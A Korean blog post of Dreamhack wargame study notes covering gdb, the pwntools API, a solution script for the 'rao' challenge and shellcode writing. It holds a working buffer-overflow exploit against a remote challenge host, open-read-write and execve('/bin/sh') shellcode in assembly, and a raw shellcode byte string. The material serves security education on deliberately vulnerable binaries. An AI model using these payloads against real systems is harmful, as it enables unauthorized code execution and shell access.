Pwn
[PWN Dreamhack] pwntools & Shellcode
2025. 2. 21. 01:55

gdb

  • 리눅스는 실행파일의 형식으로 ELF (Executable and Linkable Format)을 규정하고있다.
    • 헤더 : 실행에 필요한 여러 정보
      • 진입점 (Entry Point, EP) : OS는 ELF를 실행할 때, EP의 값부터 프로그램을 실행함. <= elf 으로 확인
        • entry 로 EP부터 프로그램을 분석할 수 있음
    • 섹션 : 컴파일된 기계어 코드, 프로그램 문자열을 비롯한 여러 데이터
      • .text, .data, .rodata ...
  • b, c, r, si(step into 함수 내부로 드감), ni(next instruction), i(info), k(kill), pd(pdisas), disassemble
  • finish : 함수 내부로 들어갔을 때 원래 실행 흐름으로 돌아가고 싶을 때 사용

examine (x 명령어)

  • 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩
  • Format letters : o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char), s(string) and z(hex, zero padded on the left)
  • Size letters : b(byte), h(halfword), w(word), g(giant, 8 bytes)
  • ex) x/10gx $rsp : rsp부터 80바이트를 8바이트씩 hex형식으로 출력
  • ex) x/5i $rip : rip부터 5줄의 어셈블리 명령어 출력
  • ex) x/s 0x400000 : 특정 주소의 문자열 출력

telescope (tele 명령어)

  • 메모리 덤프 기능, 특정 주소의 메모리 값들을 보여주고, 메모리가 참조하고 있는 주소를 재귀적으로 탐색해 보여줌

vmmap

  • 가상 메모리의 레이아웃을 보여줌, 어떤 파일이 매핑 된 영역일 경우, 해당 파일의 경로까지 보여줌

gdb/python argv

  • run 명령어의 인자$()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다.
    • ex) r $(python3 -c "print('\xff' * 100)") : argv[1]에 임의의 값을 전달
  • 입력값으로 전달하기 위해서는 <<< 를 사용
    • ex) r $(python3 -c "print('\xff' * 100)") <<< $(python3 -c "print('dreamhack')") : argv[1]에 임의의 값을 전달하고, 값을 입력

pwntools

# 설치 방법
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

pwntools API 사용 (process, remote, interactive, p64, u64, send, recv)

  • process : 로컬 바이너리 대상 익스플로잇 (디버깅)
  • remote : 원격 서버 대상 익스플로잇 (실제 공격)
  • interactive : 셸 획득했거나, 익스플로잇 특정 상황에 직접 입력을 주면서 출력 확인하고 싶을 때 사용
from pwn import *
p = process('./test')  # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com', 31337)  # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

p.interactive()
  • send : 데이터를 프로세스에 전송
p.send(b'A')  # ./test에 b'A'를 입력
p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello', b'A')  # ./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello', b'A')  # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력
  • recv : 프로세스에서 데이터를 받기
    • recv(n) 은 최대 n바이트를 받음 recvn(n) 은 정확히 n바이트를 받음
data = p.recv(1024)  # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()  # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5)  # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello')  # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall()  # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장
  • packing & unpacking : 값을 리틀엔디언의 바이트배열로 변경하거나 역과정을 할 때
    • p32 , p64 , u32 , u64
from pwn import *

s32 = 0x41424344
s64 = 0x4142434445464748

print(p32(s32))
print(p64(s64))

s32 = b"ABCD"
s64 = b"ABCDEFGH"

print(hex(u32(s32)))
print(hex(u64(s64)))

ELF

from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

디버깅 (context.log)

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

기타 (context.arch, shellcraft.sh, asm)

from pwn import *

# contextarch : 아키텍처 지정 가능
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블

드림핵 rao 문제 해결

❯ cat sol.py
from pwn import *

#p = process("./rao")
p = remote("host1.dreamhack.games",18749)

elf = ELF("./rao")
get_shell = elf.symbols['get_shell']
ret = ROP(elf).find_gadget(['ret'])[0]

payload = b'A'*0x28
payload += b'B'*0x8
payload += p64(ret)    # payload += p64(0x400729) # stack align
payload += p64(get_shell)    # payload += p64(0x00000000004006aa)

p.sendline(payload)

p.interactive()

Shellcode

  • 익스플로잇 (Exploit) : 상대 시스템 공격 하는 것
  • 셸 코드 : 익스플로잇을 위해 제작된 어셈블리 코드 조각

orw 셸 코드

  • 파일을 열고, 읽은 뒤 화면에 출력해주는 셸 코드
  • syscall : rax에 값을 넣고 syscall로 호출
    • read : rax = 0
    • write : rax = 1
    • open : rax = 2
      • RDONLY : 0
      • WRONLY : 1
      • RDWR : 2
    • execve : rax = 3b
      • sh와 같은 셸을 실행할 수 있다.
; char buf[0x30];
; int fd = open("/tmp/flag", RD_ONLY, NULL);
; read(fd, buf, 0x30);
; write(1, buf, 0x30);

; push 0x67616c662f706d742f (/tmp/flag 의 리틀 엔디안 형태)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0 ; NULL
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag",RD_ONLY,NULL)

mov rdi, rax ; rdi = fd
mov rsi, rsp ; buf[0x30] 에 담을거니, rsi = rsp-0x30을 넣어준다.
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)

mov rdi, 1 ; rdi = 1; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)

이걸 이용해서 아래 스켈레톤 코드에 잘 넣어 $ gcc -o orw orw.c -masm=intel 이런식으로 컴파일해 실행시켜주면 된다.

  • 초기화되지않은 메모리를 사용으로 이상한 문자열이 출력될 수 있다.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c    # rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

execve 셸 코드 (== execve(“/bin/sh”, null, null) 실행을 목표로한 셸 코드)

mov rax, 0x68742f6e69622f  ; {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x0}
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall    ;execve(“/bin/sh”, null, null)

objdump를 이용한 shellcode 추출

  • shellcode를 byte code(opcode)의 형태로 추출
$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o    # 오브젝트파일 .o 얻을 수 있음
$ objcopy --dump-section .text=shellcode.bin shellcode.o # .bin 파일 얻을 수 있음
$ xxd shellcode.bin # 바이트값을 16진수로 볼 수 있음

  • \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
let textNodes = document.querySelectorAll("div.tt_article_useless_p_margin.contents_style > *:not(figure):not(pre)"); textNodes.forEach(function(a) { a.innerHTML = a.innerHTML.replace(/`(.*?)`/g, '$1'); });